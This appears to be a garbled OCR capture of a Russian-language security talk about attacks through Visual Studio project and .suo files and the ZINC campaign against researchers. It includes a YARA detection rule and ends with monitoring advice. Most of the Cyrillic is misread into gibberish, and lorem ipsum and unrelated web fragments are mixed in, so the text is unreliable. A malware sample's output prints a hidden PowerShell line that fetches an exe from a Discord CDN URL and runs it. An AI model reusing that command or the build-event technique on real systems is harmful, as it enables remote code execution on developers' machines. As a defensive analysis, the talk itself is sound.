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daunbl npoekTa Visual Studio

B npoektax VS cylwiecTByeT MHOXeCTBO pa3sfindHbix dpannos (.csproj, .vbproj, .dbproj n 1.4.), koTopble
cogepxart B cebe MHCTPYKLMKM No COOpKe U KOMNUNAUMK Koga ana npouecca msbuild.exe.
3NOYyMbILLNEHHUKM MOTYyT A00aBUTL pasfiMyHble Bpe4OoHOCHbIE KOMaHAbl B AaHHble hannbl, 4TOObI OHU

3alfycKkasnimcb npum KOMnmnaumm Koaa.

: : Environment-
Universal build | ; X
configuration speciic bulld
8 | configuration
y —

I

Project
manifests

https://learn.microsoft.com/en-us/aspnet/web-
forms/overview/deployment/web-deployment-in-the-
enterprise/understanding-the-build-process

MSDeploy.exe VSDBCMD.exe



https://learn.microsoft.com/en-us/aspnet/web-forms/overview/deployment/web-deployment-in-the-enterprise/understanding-the-build-process

BeKkTOopbl aKcnnyatayuu

ATakyouwme MoryT BHeApATb B oansibl NpoOeKTa CBOK MOME3HYK Harpysky, Kotopas dyaeT BbiMNOSIHEHA
B Xo4e COOpKKU npoekTa. BoulaensitoT HECKONbKO BEKTOPOB MO 3KCMlyaTaunmn pannosB NpoOeKToB:

PreBuild/PostBuild Events

Design-time target execution

https://www.outflank.nl/blog/2023/0
3/28/attacking-visual-studio-for-
initial-access/
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ATaku Ha uccrnenoBartesnien no 6e30nNacHoOCTMH

'B 2021 rogy 661110 co30aHO HECKONBbKO akkayHTOB B TBUTTEPE, KOTOPble NOCTUNM HOBOCTU U BUOEO O
HanOeHHbIX YA3BUMOCTAX, TEXHUKaX U akcnnonTax. Habpae ayautopuio, OHM Ha4anm cBs3biBaTbCS C

pecepyepamMn 1 OTNPaBNATb UM 3apaXKeHHble NPOEKThI.

James Willy

352

ETW is very vulnerable part of Windows NT Kernel
The first blog of 2021 : blog

CVE-2020-1033 CVE-2020-1034
CVE-2021-1662 CVE-2021-1682

Thanks to

https://www.microsoft.com/en-us/security/blog/2021/01/28/zinc-
attacks-against-security-researchers/



https://www.microsoft.com/en-us/security/blog/2021/01/28/zinc-attacks-against-security-researchers/
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Rule query

https://www.elastic.co/quide/en/security/current/execution-
via-ms-visualstudio-pre-post-build-events.html



https://www.elastic.co/guide/en/security/current/execution-via-ms-visualstudio-pre-post-build-events.html

SUO-chaun

...\.vs\[Project name]\[VS Version]\.suo

HWPpEHWA

dann napameTpoB MNosib3oBaTeNs peLleHmns
(SUO-daiin)

CraTes « 10.10 ") OBpatHaa cea3b

®aiin napameTpos nonbzosartens pewenus (SUO) cosepxunTt napaMeTpsl pelleHns ANA KaXaoro nons3osarens. 3107

¢'a MN He A0/KeH BeiTe MpoeepKa B CUCTEMY YNPaBAeHWA NCXOAHBIM KOLOM.

®daiin napameTpoB Nonb3oeaTens pelweHna (SUO) — sTo cTpyKTyprMpoBaHHOe XpaHUAnLLE Man cocTaeHoe dakin,

XpaHA LI_Ll'1|:?'ICH B ABOMYHOM ¢1-Op MaTte. ﬂ,E!HHbIE‘ NoNb30BaTeNA COXPaHAHTCA B NMNOTOKaxX C MMeHEM MNMOTOKa, KOTO [}hli:;l EI}.’,ELET

WCMOMb20OBATECA ANA MAEHTUOUKALWW CBeaeHMI B suo-dakine. Daliin napameTpos NOMbI0BATENA PELUEHUA UCMONL3YETCA
ANA XPaHEHWA NapaMeTpOoE MPeANOYTEHWA MOJb20EATENA U CO2AAETCA aBTOMATUUSCKM MPW COXPaHeHuu peluexmna Visual
Studio.

{oraa cpeia OTKpbIBAET suo-dain, OH NepedncaneT Bce 3arpy? - gavomenT VSPackages. Ecan VSPackage
peanusyer IV: ol WHTepdeiic, cpena Bbi3biBae uetoa e VSPackage ¢ npocsboid

2arpyavTh BCE JaHHeIe W2 suo-daina.
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https://learn.microsoft.com/ru-
ru/visualstudio/extensibility/internals/s
olution-user-options-dot-suo-
file?view=vs-2022




(stream),;

text (stream)

JbinaryFormattes (stream);




YA3BMMOCTb Aecepunanusaumm SOC .

Puckn gecepuanmsauunm B UCrnosib3oBaHUmn
BinaryFormatter n cBAizaHHbIX TUNOB

Yassumoctu 6e3onacHoctu BinaryFormatter

A MpeaynpexaeHue

8 siod craTee MeToa BinaryFormatter.Deserialize HM Npy Kakux obcToATENLCTBAX HE MOXKET CUMTATLCA DE30MacHbIM npx
L

pa60Te C BEXO4HbIMW AaHHEIMK, HE OTHOCALWKMMKMCA K AOBEPEHHBIM. BmecTo Hero Mel HacTOATENBHO pPeKOMEHAYEM
MCMNONb30BaTh NKODOA W3 ONMChIBAEMBIX AaNEe B 3TOM CTaThe dNbTEPHATUBHbIX NOAXOA0E.

https://learn.microsoft.com/ru-

ru/dotnet/standard/serialization/binaryformatter-

security-quide 1
Nk |

*) Brvmarne!

Teen BinBryFOImAtier He SBARETCR GEI0NACHEIM 1 M DEROMENIYEMEN € DPUMEREHWO R 000300TKH AanHsix
NPUNOXERNA AQAXHRL NERSCTATE NENOAR0EATE BINAl YFOIMAISL KK MOMHO CXOPSE. JHME ECAN OHU CHMTEHT
A 18, KOTOPEE OHN 0OPataTHEIOT, 20ANME OkiTe HadewHemn, TUn BinasryFormatter REARETCA

0 DE30NICHOCTE HENE3R 00eCNaunTE



https://learn.microsoft.com/ru-ru/dotnet/standard/serialization/binaryformatter-security-guide
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Visual Studio Installer
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https://github.com/cjmO0n/EvilSIn



https://github.com/cjm00n/EvilSln
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ALeM cKpbITble Yrpo3bl B «AQUKOU Nnpupoae»

rule suo_deserialization -

{

strings:
$header = { DO CF 11 E0O Al B1 1A E1 }
$s = "VsToolboxService" wide
$al = "AAEAAAD"
$a2 "ewdKICAgICckdH1"
$a3 = "yAoFZNmAU31"
$a4 "kscDYsOKCcYAAAP"
$a5 = "PFByb3BlcnR5R3]"
$a6 = "PD94bWwgdm"

condition:

$header at © and $s and any of ($a*)



https://www.virustotal.com/gui/collection/1767879220a1b06b03ffb3a88ecbe5dd87bfbdb91ee2b81a3f6553b8103b7301/iocs
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private

MessageBoxBatton

NriteAllText (AppDomalin, Cur n.BasseDirectory . la

. & Phantom

https://github.com/C5Hackr/Phantom

Relesses

Packages

Phantom Languages

1able batch files



https://github.com/C5Hackr/Phantom
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Incidunt odit rerum tenetur alias architecto asperiores omunis cumque doloribus aperiam numquam! Eligendi corrupti, molestias laborum.
veritatis unde reiciendis possimus animi autem nams

[Mlone3Hasa Harpy3kKa B suo-caune
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Output & Josephine Allard
Marketing Head
‘What says our Customers
Address
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Info

necessary, making this the first true generator on the lnternet. It uses a dictionary of over 200 Latin words, combined with a handful
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TELEMETRY COMMUNITY
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21 README

This is a base for a fortnite cheat, its using ioctl to communicate with a Releases
driver for r/w and other stuff. read the comments in the main.cpp as i

. . explain what to do to make it work, u can make it work in like 5 min i was
httpS//q Ith u b .CO m/S kaI’SVS/S kaan_ just too lazy to do it but i prolly will finish it as soon as i have the time, nake Packages
Cheat_base_USInq_loctl_comms sure to star if u like and when we hit some stars i will finish esp and aimbot

and make it fully working. have fun and hope this helps as its a pretty
organized base. Languages

d21s O hop=sar 1or tha loct drver: Wi
!

remake it even tho there



https://github.com/SkarSys/skarFn-cheat-base-using-ioctl-comms

Output

ral, Publi

sonCompa

C:\programData\build. exe
https: //n:n dnu)rd.;pp com/attachments/1200093437198872748/1200118711042969650 /1 .exe. . .omd, "

ationHoldersDelegateEn

lder+Del teEntry.. " .System, Func 3| Strir mscorl: Put < prvat : 193400001 ri ystan teSerial t 1ot ' NoProfile -fxecutionPolicy Dypass -MindowStyle
stem.S g, mscorl version=4.0.0.0, culture=ne al, Hidden Invoke-WebReguest ~Uel "https://cdn.discordapp. con/attacheents/ 120002343 7198872748/12001 1871104 2969650/ FFf .exo' ~OutFile "bulld.exe';
Stort -Process 'bulld exe'

Hame . AssemblyNane

name:fff.exe name:hulild.exe Smart search 3=

FILES-2/2

Sortby VvV Filter by Export v Tools v Help v
Detections S e Submitters

bcbata7lbadccd2

4866280.
2022

00:41:21




-0

S22

»
Y

P

»
g

lerface

Sample un

Process cruathion

Frooess creatios

Suetinatth Sestnare oo
L - >

Sty Sum trarte van

Ja0a
[T T P T

dmmn® JC sakeki 7 D 1920 RB chokcs (0 Y /N
1V ST 3 B Def "Santtpoety Santtrams aoe

1924
Brrigain Sreviane om

“Seafpsttd Seafnarms sow

Pance' Brpmam ITcme e

oM a0’ JC TN F (D 1VIE B Lo X
¥ N TV /T 3 R Dol "Saattyonsy| Sasttrarrn s
1vm
$rerpany satniane e
Mire

T1489 He

oo Eop (TAOMS)

Irpas Determes: Dinanie or Mockfy Tocks (TAX

Process ereation

choce JCY N O

Swnc|

Process creation TOE Wi Tkl (WATRE T 1489 Service

Lot (Y 10 1924
Panrcir, Bewetm X7 (Tamkk n W F P10 1978

Sz Seymien X7 tanked car




lder

RELATIONS | EMEY COMMUNIT

Compressed Parents (2]

Scanned Detections




f. 4

Output ' .e

/100415400 H124702¢

GOMATGAT 1o L1cATRIZII0NDTO00N ", Ser

(8-| 4e69e86b23c9c051127913236e9368857a5e441fdf0c191c42f19d4b45e299d3. exe

Themida X

( "/ \ An internal exception occurred (Address: Ox3fccd2)
‘ Please, contact yoursite@yoursite.com, Thank you!




G2 IF address

/C choice

CYIN/

Sempke nu

-

Tech

Checking ATraunt of Sywtem Momory |MITRE
11497 001 Wrishestion Sancbax kvsman Sywm

B e e

Schwdubed Lk Start froen Puthe Drectony (MTRE
053 005 Soreused Task Julr Sotodued Taw)
I
Srorndrt Bryvtem ST ety o
oblasts v Soraste [TN WsON puiete” (2
ML “Sumar! Srrng SreBLT g 7

R ) e T

Wi
TID OO0 St weindent Tosh ) b Suratusnd Tans (TAOOC)
TADOOY, TADOON

Cheching Speoiic Rugastry Kays 10 Dotect Vi
Enwronmant (MITRE T1497
11 Sty St e e
HANDMMRE ACTT RO VBN

CheckBurnoto DeSugpe Mesent) Cal [WTE - » - -
,.:, . N < = ' Computr Name Duacowry va WindS| (WTRE
LD S = on.
RS T1082 Sywrom I=forman e Drscowny)

TP / Bt et e v

Toak Crastion vu Sorzasis see (WITRE 71053 003
Schomsod Tas Joo: Srosios Tawk)
Dot Sowys e (NP el Priis #ve \ Uw
L R
w “scttastn o Korewie /TN WSOV Upxdet
ML B Srrgr el T b
.o 1900
. R B e

Enwmecung Titkes of Open Applcaron Windows wa
AP QETRE TI010 Appication Wnsow Oncorwry)
I e
wT
1053 008 Sofweh bt Tash/Jom Setwtinef Tavh (TAOOG
"A000) "AXOS;

Ao 10 Denect 3 Virteas Emaronment (W TRE
TIA97 001 Wnistestion/Sancox Sesman Sywe

it S




Kak noButb? EI:II'_"“.."
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YoensanTte BHUMaHMe MOHUTOPUHTY npoueccam msbuild.exe n devenv.exe
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